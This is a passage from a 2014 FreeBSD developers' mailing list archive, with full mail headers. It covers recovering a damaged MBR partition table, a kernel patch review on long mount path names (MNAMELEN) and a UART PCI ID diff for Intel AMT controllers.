Apr 2014 13:02:10 -0000 --6e7ZaeXHKrTJCxdu Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Apr 15, 2014 at 07:10:26AM -0400, George Mitchell wrote: > My laptop has a hard disk I partitioned, whoops, I mean sliced, into > four slices when I installed 8.2-STABLE on it a couple of years ago. > The first, third, and fourth slices I reserved for future experiments, > and most of the space went into the second slice where I installed > 8.2-STABLE. Time went on and the second slice is currently running > 9.2-STABLE, and I installed 10.0-PRERELEASE on the first slice late > last year. But mostly I have been booting off the second slice, which > means pressing enter at the initial F1/F2/F3/F4 boot prompt. >=20 > Then last Friday I was preparing to update the first slice to the > latest 10.0-STABLE. Things were going well until I rebooted and > typed F1 at the boot prompt. I immediately got a second prompt > offering me the options of second disk or PXE. At this point the > machine was unbootable, as whatever I typed would cycle between the > F1/F2/F3/F4 alternatives and the second disk/PXE alternatives. I hit > ctrl-alt-delete and got told there was no bootable disk. >=20 > So I got a new disk and plugged in into the laptop and started over > again. (My first attempt was with a 10.0-RELEASE memstick image, > but that's a subject for another day.) Out of conservatism, I have > installed 8.4-STABLE on the new disk. Then the first thing I did > was to hook up the old disk through a USB adapter and dump it with > dd to a backup image. That's going to be finished in a couple of > hours, at which point I hope to poke around on the old disk and > repair what I assume is a clobbered master boot record partition > table. >=20 > My question is: > What's the best tool to help reconstruct the partition table? I > think my problem will be mostly solved if I can find the BSD labels > on the old disk (which, by the way, has not exhibited any I/O errors > during the "dd" backup process). Do BSD labels have a recognizable > signature? >=20 > Thanks for your help and attention. -- George You can try sysutils/testdisk --6e7ZaeXHKrTJCxdu Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iKYEARECAGYFAlNNLc5fFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3Bl bnBncC5maWZ0aGhvcnNlbWFuLm5ldDE3RkMwOEUxNUUwOUJEMjE0ODlFMjA1MDI5 Q0U3NURBQzBGNzY5RjgACgkQKc512sD3afjPDgCgnCOgRBxh//yH/3vqHWc4VKBE J+AAoK7PmOQjmwRSZbs0yeovpr6La1tM =uOKC -----END PGP SIGNATURE----- --6e7ZaeXHKrTJCxdu-- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 15 15:49:47 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8BD6C5B1 for ; Tue, 15 Apr 2014 15:49:47 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 468B11A59 for ; Tue, 15 Apr 2014 15:49:46 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s3FFrPgt010036; Tue, 15 Apr 2014 08:53:31 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s3FFrKk4010033; Tue, 15 Apr 2014 08:53:20 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: from udns.ultimatedns.net ([209.180.214.225]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Tue, 15 Apr 2014 08:53:20 -0700 (PDT) Message-ID: In-Reply-To: <534D13A2.9000706@m5p.com> References: <534D13A2.9000706@m5p.com> Date: Tue, 15 Apr 2014 08:53:20 -0700 (PDT) Subject: Re: Clobbered MBR partition table From: "Chris H" To: "George Mitchell" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 15 Apr 2014 15:49:47 -0000 > My laptop has a hard disk I partitioned, whoops, I mean sliced, into > four slices when I installed 8.2-STABLE on it a couple of years ago. > The first, third, and fourth slices I reserved for future experiments, > and most of the space went into the second slice where I installed > 8.2-STABLE. Time went on and the second slice is currently running > 9.2-STABLE, and I installed 10.0-PRERELEASE on the first slice late > last year. But mostly I have been booting off the second slice, which > means pressing enter at the initial F1/F2/F3/F4 boot prompt. > > Then last Friday I was preparing to update the first slice to the > latest 10.0-STABLE. Things were going well until I rebooted and > typed F1 at the boot prompt. I immediately got a second prompt > offering me the options of second disk or PXE. At this point the > machine was unbootable, as whatever I typed would cycle between the > F1/F2/F3/F4 alternatives and the second disk/PXE alternatives. I hit > ctrl-alt-delete and got told there was no bootable disk. > > So I got a new disk and plugged in into the laptop and started over > again. (My first attempt was with a 10.0-RELEASE memstick image, > but that's a subject for another day.) Out of conservatism, I have > installed 8.4-STABLE on the new disk. Then the first thing I did > was to hook up the old disk through a USB adapter and dump it with > dd to a backup image. That's going to be finished in a couple of > hours, at which point I hope to poke around on the old disk and > repair what I assume is a clobbered master boot record partition > table. > > My question is: > What's the best tool to help reconstruct the partition table? I > think my problem will be mostly solved if I can find the BSD labels > on the old disk (which, by the way, has not exhibited any I/O errors > during the "dd" backup process). Do BSD labels have a recognizable > signature? Firstly; I'd have used dump(8), and restore(8). As opposed to dd(1). Because it's quite a bit more flexible, and rather than copying the entire disk/slice. It only copies the data actually consumed. Takes less time, and consumes less space. As to verifying, investigating the disk. I'd have a good look at gpart(8) -- gpart show, and gpart list, would be a good place to start. In fact, I just got finished mucking around with a few disks, and ultimately spent most of my time with gpart. As to your booting issue; you might want to have a look at boot0cfg(8). Best wishes. --Chris > > Thanks for your help and attention. -- George > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 15 19:04:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DAD322EC; Tue, 15 Apr 2014 19:04:10 +0000 (UTC) Received: from mail.ambrisko.com (mail.ambrisko.com [70.91.206.90]) by mx1.freebsd.org (Postfix) with ESMTP id AFC4A10EB; Tue, 15 Apr 2014 19:04:10 +0000 (UTC) X-Ambrisko-Me: Yes Received: from server2.ambrisko.com (HELO internal.ambrisko.com) ([192.168.1.2]) by ironport.ambrisko.com with ESMTP; 15 Apr 2014 12:07:59 -0700 Received: from ambrisko.com (localhost [127.0.0.1]) by internal.ambrisko.com (8.14.4/8.14.4) with ESMTP id s3FJ322F026124; Tue, 15 Apr 2014 12:03:02 -0700 (PDT) (envelope-from ambrisko@ambrisko.com) Received: (from ambrisko@localhost) by ambrisko.com (8.14.4/8.14.4/Submit) id s3FJ325o026123; Tue, 15 Apr 2014 12:03:02 -0700 (PDT) (envelope-from ambrisko) Date: Tue, 15 Apr 2014 12:03:02 -0700 From: Doug Ambrisko To: Bryan Drewery Subject: Re: Fix MNAMELEN or reimplement struct statfs Message-ID: <20140415190302.GA21076@ambrisko.com> References: <5348952A.3080304@FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5348952A.3080304@FreeBSD.org> User-Agent: Mutt/1.4.2.3i Cc: FreeBSD Hackers , kib@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 15 Apr 2014 19:04:11 -0000 On Fri, Apr 11, 2014 at 08:21:46PM -0500, Bryan Drewery wrote: | On Tue, Nov 19 21:53:38 UTC 2013 Jilles Tjoelker wrote: | > On Mon, Nov 18, 2013 at 11:01:42AM -0800, Doug Ambrisko wrote: | >> On Sat, Nov 16, 2013 at 08:31:29PM +0200, Konstantin Belousov wrote: | >> | I think that struct mount should have a const char * field where the | >> | non-trimmed path is stored and used for match at unmount. f_mntonname | >> | truncation would be only unfortunate user interface glitch. | > | >> Note that we are not storing the path in mount structure so no structures | >> have changed which is nice since then we haven't introduced any real | >> ABI breakage. So we could MFC this. The match isn't critical since | >> umount will fall back to fsid and work. One thing that might be good to | >> do is change umount to try to umount via fsid first and then do the | >> match if the fsid failed versus the other way round that it does now. | > | >> The problem I see is if someone tries to do things based on the parsed | >> output of mount/df then that will fail since the output is truncated. | > | > As noted in comments in sbin/umount/umount.c, the statfs() call is | > deliberately after the mount list checks because it may block forever | > for unresponsive NFS servers. It would be unfortunate if hung NFS | > filesystems would have to be forcibly unmounted by copy/pasting the fsid | > from 'mount -v'. | | From a user perspective, I'd love to see this get committed and MFC'd. | It's very odd to have ENAMETOOLONG errors while traversing .zfs/snapshot. I have a new patch at: http://people.freebsd.org/~ambrisko/mount_bigger_2.patch that I tested against head. This should be pretty close to commiting unless people find some issues with it. | However, this would make the situation worse for poudriere, which is | what this particular thread was started on. It does exactly what you | worry about, it parses mount(1) output and umounts all descendants for a | given path. We do the same thing at my work for our base build system, | and I believe FreeNAS is doing something like this. So it's not uncommon. | | Or did the situation improve with the latest patch to show the full | mount path in mount(1)? Not yet but could be address in a subsequent enhancement. The framework in the kernel to handle longer paths and track the full path name is there now. Changes will need to be done in the structure passed to mount. This can be done if we implement a statvfs structure that can pass this data back. Since we don't have statvfs really defined we can implement it to deal with longer paths. Then mount can be updated to show the full path. | We could implement umount -r, but I'm not convinced that is adequate due | to unknown use of mount(1) output. We really need the real path exported | to userland somehow, and preferably to mount(1) by default to not break | scripts. | | This may not be a clean solution, but couldn't we add another syscall, | say getfsmntpath(2), and have mount(1) use both statfs(2) and | getfsmntpath(2) to show a proper output? I think we can do this with statvfs to give full path names. Thanks, Doug A. From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 15 20:03:00 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0BB7BF21; Tue, 15 Apr 2014 20:03:00 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 6BB5B16BE; Tue, 15 Apr 2014 20:02:59 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s3FK2su9095611; Tue, 15 Apr 2014 23:02:54 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s3FK2su9095611 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s3FK2rx2095610; Tue, 15 Apr 2014 23:02:53 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Tue, 15 Apr 2014 23:02:53 +0300 From: Konstantin Belousov To: Chris Torek Subject: Re: Intel AMT UART Message-ID: <20140415200253.GQ4016@kib.kiev.ua> References: <201404150743.s3F7hOA5059711@elf.torek.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="R92lf0Oi2sxyK3LA" Content-Disposition: inline In-Reply-To: <201404150743.s3F7hOA5059711@elf.torek.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org, eadler@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 15 Apr 2014 20:03:00 -0000 --R92lf0Oi2sxyK3LA Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Apr 15, 2014 at 01:43:24AM -0600, Chris Torek wrote: > The change below enables the UART on some Intel boards with AMT > support (others, as shown by the value right above it, are already > enabled). >=20 > (The correct author for credit is Tony Li) >=20 > Chris >=20 > diff --git a/sys/dev/uart/uart_bus_pci.c b/sys/dev/uart/uart_bus_pci.c > --- a/sys/dev/uart/uart_bus_pci.c > +++ b/sys/dev/uart/uart_bus_pci.c > @@ -114,6 +114,7 @@ static const struct pci_id pci_ns8250_id > { 0x14e4, 0x4344, 0xffff, 0, "Sony Ericsson GC89 PC Card", 0x10}, > { 0x151f, 0x0000, 0xffff, 0, "TOPIC Semiconductor TP560 56k modem", 0x10= }, > { 0x8086, 0x1c3d, 0xffff, 0, "Intel AMT - KT Controller", 0x10 }, > +{ 0x8086, 0x1d3d, 0xffff, 0, "Intel AMT - C600/X79 series chipset KT Con= troller", 0x10 }, > { 0x8086, 0x2e17, 0xffff, 0, "4 Series Chipset Serial KT Controller", 0x= 10 }, > { 0x8086, 0x3b67, 0xffff, 0, "5 Series/3400 Series Chipset KT Controller= ", > 0x10 }, >=20 It seems to be already there since r249803 | eadler | 2013-04-23, including the style bug of using too long line. --R92lf0Oi2sxyK3LA Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTTZBtAAoJEJDCuSvBvK1BkBsQAJcTaBL/oHAHkuQScnO2hjDO 3+eAjS8eOsPTar5QwyZ5MT81iPabaY3BSoilgPEXAWXuPgTsKAA9fam9l7+ioNFZ jAfoMWBm9TOt5UsWaE/qgk8x3VZdO5l889n+cDy+XOJAU6IEssNynU41e9MCjCdY FwHyU519m92UOieQiUgkfsWMkFFqty+gcZDMiXA/4qUsHFbDk29XSPSfm7JVLbzp xg0pAybhcCGHSFgpfC86z4Q4JZABKBKpYtcAqSFP8XzyZrCkGrcoqWQh7r7fYV2O yYza5EwTPvdoH7pZfmX0+81NgRw8Mu4+GNWIbTFIoP7rapN+X3TOilNkj8djg3Td cxW/jKcv2nmeOYKpAjr7tpvNBxSQOWbv6cX/0egqV6M0bQYnUApCaPdiL1JEdr77 CoJN3OTL4z/EJlboOu5QjEBfSTb87Q0uJ5V75IX2+IM3mow8c4WJ4Ib1/25gO0Lo Z27AHgrY5U8z/OpkDKdIDCnyPdFLy0NO/p7lBEyX2bm9fYe4H1qrwtZj1UR1pTMk vFBNhGrAvy/QSiPg6ZjOSWsZdf8n211EDvHHsG5YN2mIUMKVdcUtoYuHhUUWRf4c C/lbOyI/s6wQGKHXWv3Csy+WzPTmF2SSlEoq5nUeY2/15Jxn2gpG8dt7C3SGnyOP Zwk4E/oxeEfR6yi4cr5M =eQIB -----END PGP SIGNATURE----- --R92lf0Oi2sxyK3LA-- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 15 20:43:54 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 21F53A8B; Tue, 15 Apr 2014 20:43:54 +0000 (UTC) Received: from mx1.stack.nl (relay02.stack.nl [IPv6:2001:610:1108:5010::104]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client CN "mailhost.stack.nl", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id BE02F1A73; Tue, 15 Apr 2014 20:43:53 +0000 (UTC) Received: from snail.stack.nl (snail.stack.nl [IPv6:2001:610:1108:5010::131]) by mx1.stack.nl (Postfix) with ESMTP id C4D1A358C57; Tue, 15 Apr 2014 22:43:48 +0200 (CEST) Received: by snail.stack.nl (Postfix, from userid 1677) id B1DA928497; Tue, 15 Apr 2014 22:43:48 +0200 (CEST) Date: Tue, 15 Apr 2014 22:43:48 +0200 From: Jilles Tjoelker To: Doug Ambrisko Subject: Re: Fix MNAMELEN or reimplement struct statfs Message-ID: <20140415204348.GA89088@stack.nl> References: <5348952A.3080304@FreeBSD.org> <20140415190302.GA21076@ambrisko.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140415190302.GA21076@ambrisko.com> User-Agent: Mutt/1.5.21 (2010-09-15) Cc: FreeBSD Hackers , kib@FreeBSD.org, Bryan Drewery X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 15 Apr 2014 20:43:54 -0000 On Tue, Apr 15, 2014 at 12:03:02PM -0700, Doug Ambrisko wrote: > On Fri, Apr 11, 2014 at 08:21:46PM -0500, Bryan Drewery wrote: > | On Tue, Nov 19 21:53:38 UTC 2013 Jilles Tjoelker wrote: > | > On Mon, Nov 18, 2013 at 11:01:42AM -0800, Doug Ambrisko wrote: > | >> On Sat, Nov 16, 2013 at 08:31:29PM +0200, Konstantin Belousov wrote: > | >> | I think that struct mount should have a const char * field where the > | >> | non-trimmed path is stored and used for match at unmount. f_mntonname > | >> | truncation would be only unfortunate user interface glitch. > | >> Note that we are not storing the path in mount structure so no structures > | >> have changed which is nice since then we haven't introduced any real > | >> ABI breakage. So we could MFC this. The match isn't critical since > | >> umount will fall back to fsid and work. One thing that might be good to > | >> do is change umount to try to umount via fsid first and then do the > | >> match if the fsid failed versus the other way round that it does now. > | >> The problem I see is if someone tries to do things based on the parsed > | >> output of mount/df then that will fail since the output is truncated. > | > As noted in comments in sbin/umount/umount.c, the statfs() call is > | > deliberately after the mount list checks because it may block forever > | > for unresponsive NFS servers. It would be unfortunate if hung NFS > | > filesystems would have to be forcibly unmounted by copy/pasting the fsid > | > from 'mount -v'. > | From a user perspective, I'd love to see this get committed and MFC'd. > | It's very odd to have ENAMETOOLONG errors while traversing .zfs/snapshot. > I have a new patch at: > http://people.freebsd.org/~ambrisko/mount_bigger_2.patch > that I tested against head. This should be pretty close to commiting > unless people find some issues with it. In sys/kern/vfs_mount.c: + mp->mnt_path = malloc(strlen(fspath), M_MOUNT, M_WAITOK); + strlcpy((char *)mp->mnt_path, fspath, strlen(fspath)); This always strips the last byte off the fspath. I like that this only touches the kernel, so it does not break anything regarding mount/umount of filesystems with short paths, including (NFS) filesystems that do not respond. The patch does not enlarge f_mntfromname which may be a problem for nullfs. It is certainly a step forwards for poudriere but [ENAMETOOLONG] errors could still occur in more extreme situations. > | However, this would make the situation worse for poudriere, which is > | what this particular thread was started on. It does exactly what you > | worry about, it parses mount(1) output and umounts all descendants for a > | given path. We do the same thing at my work for our base build system, > | and I believe FreeNAS is doing something like this. So it's not uncommon. > | Or did the situation improve with the latest patch to show the full > | mount path in mount(1)? > Not yet but could be address in a subsequent enhancement. The framework > in the kernel to handle longer paths and track the full path name is > there now. Changes will need to be done in the structure passed to mount. > This can be done if we implement a statvfs structure that can pass this > data back. Since we don't have statvfs really defined we can implement > it to deal with longer paths. Then mount can be updated to show the full > path. > | We could implement umount -r, but I'm not convinced that is adequate due > | to unknown use of mount(1) output. We really need the real path exported > | to userland somehow, and preferably to mount(1) by default to not break > | scripts. > | This may not be a clean solution, but couldn't we add another syscall, > | say getfsmntpath(2), and have mount(1) use both statfs(2) and > | getfsmntpath(2) to show a proper output? > I think we can do this with statvfs to give full path names. I agree that a new syscall or similar is needed in a later patch but disagree that it should be statvfs(). To call statvfs(), the filesystem's path must already be known and the filesystem (and all parent filesystems) must respond. In fact, struct statvfs does not include any pathnames at all. If it is acceptable that only root can query the pathnames, a simple sysctl can map f_fsid to mnt_path (and the extended f_mntfromname). This can then be used together with statfs(2), fstatfs(2), getfsstat(2) or getmntinfo(3) (but why would one use the latter?). It is possible to extend getfsstat(2) (but not statfs(2)/fstatfs(2)) to use an f_spare field to point to long pathnames stored elsewhere in the buffer (using the flags argument to enable the new behaviour). Simply increasing MNAMELEN would make struct statfs over 2 kilobytes large, which would lead to a rather large result from getfsstat(2) on a machine with many filesystems mounted. -- Jilles Tjoelker From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 15 23:31:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 89EC318F; Tue, 15 Apr 2014 23:31:34 +0000 (UTC) Received: from mail.ambrisko.com (mail.ambrisko.com [70.91.206.90]) by mx1.freebsd.org (Postfix) with ESMTP id 5F8C41A5E; Tue, 15 Apr 2014 23:31:34 +0000 (UTC) X-Ambrisko-Me: Yes Received: from server2.ambrisko.com (HELO internal.ambrisko.com) ([192.168.1.2]) by ironport.ambrisko.com with ESMTP; 15 Apr 2014 16:36:30 -0700 Received: from ambrisko.com (localhost [127.0.0.1]) by internal.ambrisko.com (8.14.4/8.14.4) with ESMTP id s3FNVXlB020951; Tue, 15 Apr 2014 16:31:33 -0700 (PDT) (envelope-from ambrisko@ambrisko.com) Received: (from ambrisko@localhost) by ambrisko.com (8.14.4/8.14.4/Submit) id s3FNVXtd020950; Tue, 15 Apr 2014 16:31:33 -0700 (PDT) (envelope-from ambrisko) Date: Tue, 15 Apr 2014 16:31:33 -0700 From: Doug Ambrisko To: Jilles Tjoelker Subject: Re: Fix MNAMELEN or reimplement struct statfs Message-ID: <20140415233133.GA14686@ambrisko.com> References: <5348952A.3080304@FreeBSD.org> <20140415190302.GA21076@ambrisko.com> <20140415204348.GA89088@stack.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140415204348.GA89088@stack.nl> User-Agent: Mutt/1.4.2.3i Cc: FreeBSD Hackers , kib@FreeBSD.org, Bryan Drewery X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 15 Apr 2014 23:31:34 -0000 On Tue, Apr 15, 2014 at 10:43:48PM +0200, Jilles Tjoelker wrote: | On Tue, Apr 15, 2014 at 12:03:02PM -0700, Doug Ambrisko wrote: | > On Fri, Apr 11, 2014 at 08:21:46PM -0500, Bryan Drewery wrote: | > | On Tue, Nov 19 21:53:38 UTC 2013 Jilles Tjoelker wrote: | > | > On Mon, Nov 18, 2013 at 11:01:42AM -0800, Doug Ambrisko wrote: | > | >> On Sat, Nov 16, 2013 at 08:31:29PM +0200, Konstantin Belousov wrote: | > | >> | I think that struct mount should have a const char * field where the | > | >> | non-trimmed path is stored and used for match at unmount. f_mntonname | > | >> | truncation would be only unfortunate user interface glitch. | | > | >> Note that we are not storing the path in mount structure so no structures | > | >> have changed which is nice since then we haven't introduced any real | > | >> ABI breakage. So we could MFC this. The match isn't critical since | > | >> umount will fall back to fsid and work. One thing that might be good to | > | >> do is change umount to try to umount via fsid first and then do the | > | >> match if the fsid failed versus the other way round that it does now. | | > | >> The problem I see is if someone tries to do things based on the parsed | > | >> output of mount/df then that will fail since the output is truncated. | | > | > As noted in comments in sbin/umount/umount.c, the statfs() call is | > | > deliberately after the mount list checks because it may block forever | > | > for unresponsive NFS servers. It would be unfortunate if hung NFS | > | > filesystems would have to be forcibly unmounted by copy/pasting the fsid | > | > from 'mount -v'. | | > | From a user perspective, I'd love to see this get committed and MFC'd. | > | It's very odd to have ENAMETOOLONG errors while traversing .zfs/snapshot. | | > I have a new patch at: | > http://people.freebsd.org/~ambrisko/mount_bigger_2.patch | > that I tested against head. This should be pretty close to commiting | > unless people find some issues with it. | | In sys/kern/vfs_mount.c: | + mp->mnt_path = malloc(strlen(fspath), M_MOUNT, M_WAITOK); | + strlcpy((char *)mp->mnt_path, fspath, strlen(fspath)); | | This always strips the last byte off the fspath. | | I like that this only touches the kernel, so it does not break anything | regarding mount/umount of filesystems with short paths, including | (NFS) filesystems that do not respond. | | The patch does not enlarge f_mntfromname which may be a problem for | nullfs. It is certainly a step forwards for poudriere but [ENAMETOOLONG] | errors could still occur in more extreme situations. Good point on nullfs. I'll look at fixing that. To do that I'm changing mnt_path to mnt_topath so then I can have a mnt_frompath. I'll add nullfs to my test cases. I'll need to run through the uses of f_mntfromname. It was pretty easy with f_mntonname since it was only allocated in one place just used a bunch of other place. I assume that mount root would be short. | > | However, this would make the situation worse for poudriere, which is | > | what this particular thread was started on. It does exactly what you | > | worry about, it parses mount(1) output and umounts all descendants for a | > | given path. We do the same thing at my work for our base build system, | > | and I believe FreeNAS is doing something like this. So it's not uncommon. | | > | Or did the situation improve with the latest patch to show the full | > | mount path in mount(1)? | | > Not yet but could be address in a subsequent enhancement. The framework | > in the kernel to handle longer paths and track the full path name is | > there now. Changes will need to be done in the structure passed to mount. | > This can be done if we implement a statvfs structure that can pass this | > data back. Since we don't have statvfs really defined we can implement | > it to deal with longer paths. Then mount can be updated to show the full | > path. | | > | We could implement umount -r, but I'm not convinced that is adequate due | > | to unknown use of mount(1) output. We really need the real path exported | > | to userland somehow, and preferably to mount(1) by default to not break | > | scripts. | | > | This may not be a clean solution, but couldn't we add another syscall, | > | say getfsmntpath(2), and have mount(1) use both statfs(2) and | > | getfsmntpath(2) to show a proper output? | | > I think we can do this with statvfs to give full path names. | | I agree that a new syscall or similar is needed in a later patch but | disagree that it should be statvfs(). To call statvfs(), the | filesystem's path must already be known and the filesystem (and all | parent filesystems) must respond. In fact, struct statvfs does not | include any pathnames at all. | | If it is acceptable that only root can query the pathnames, a simple | sysctl can map f_fsid to mnt_path (and the extended f_mntfromname). This | can then be used together with statfs(2), fstatfs(2), getfsstat(2) or | getmntinfo(3) (but why would one use the latter?). | | It is possible to extend getfsstat(2) (but not statfs(2)/fstatfs(2)) to | use an f_spare field to point to long pathnames stored elsewhere in the | buffer (using the flags argument to enable the new behaviour). | | Simply increasing MNAMELEN would make struct statfs over 2 kilobytes | large, which would lead to a rather large result from getfsstat(2) on a | machine with many filesystems mounted. We don't want to change statfs since that causes other ripple effects due to binary layout changes. From what I remember when I last looked (which was quite a while ago) is that our statvfs is a stub and not a full structure like NetBSD has. NetBSD switched from statfs to statvfs and made things bigger. Atleast that is what I remember when I looked. It's good to start thinking about for phase 2. Thanks, Doug A. From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 16 03:13:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3A6CCC87 for ; Wed, 16 Apr 2014 03:13:15 +0000 (UTC) Received: from mail-wg0-x22f.google.com (mail-wg0-x22f.google.com [IPv6:2a00:1450:400c:c00::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id BB7D511C8 for ; Wed, 16 Apr 2014 03:13:14 +0000 (UTC) Received: by mail-wg0-f47.google.com with SMTP id x12so10228051wgg.18 for ; Tue, 15 Apr 2014 20:13:13 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:from:date:message-id :subject:to:content-type; bh=tIx+AtfyTn69SPjq9n+dGSAJAzm0By7dVzDJ2zOfwps=; b=0qjG8FXuOqbV9KR2dG5LavB4F92nSOyatMr4GD/dO50vHjM1yvvnPdrmgLmlTP+T35 WQd4FmUykd5l5QZoOAyXZKKRWxanqao/noRQHgfiW11Zwejk4xfNBWxaD4z7+gY5lBIj obLKp+D2Sm66BkhcQAlfq7InPVGRboKWvoOdqyjvslP/FoPBSAuNoEIkgPaCJQZX+kAX I095aB/5QT35VcRBok6gw/fuPZdk+b547EEbjHkO0qxZJdpakJkRG9P5em4tSfiejktj uEU34xYaH1yh0Ageqcxov2PtbGskkIWXnpZHePj7QwmCRa5jd07p72Q7CUDpSwWtupzO WK7A== X-Received: by 10.180.218.197 with SMTP id pi5mr5190103wic.21.1397617992990; Tue, 15 Apr 2014 20:13:12 -0700 (PDT) MIME-Version: 1.0 Sender: zhao6014@gmail.com Received: by 10.194.25.129 with HTTP; Tue, 15 Apr 2014 20:12:52 -0700 (PDT) In-Reply-To: References: From: Jov Date: Wed, 16 Apr 2014 11:12:52 +0800 X-Google-Sender-Auth: Mc8X_imUKigss2GNiycv50G0Dbg Message-ID: Subject: Fwd: PostgreSQL hang On FreeBSD, with 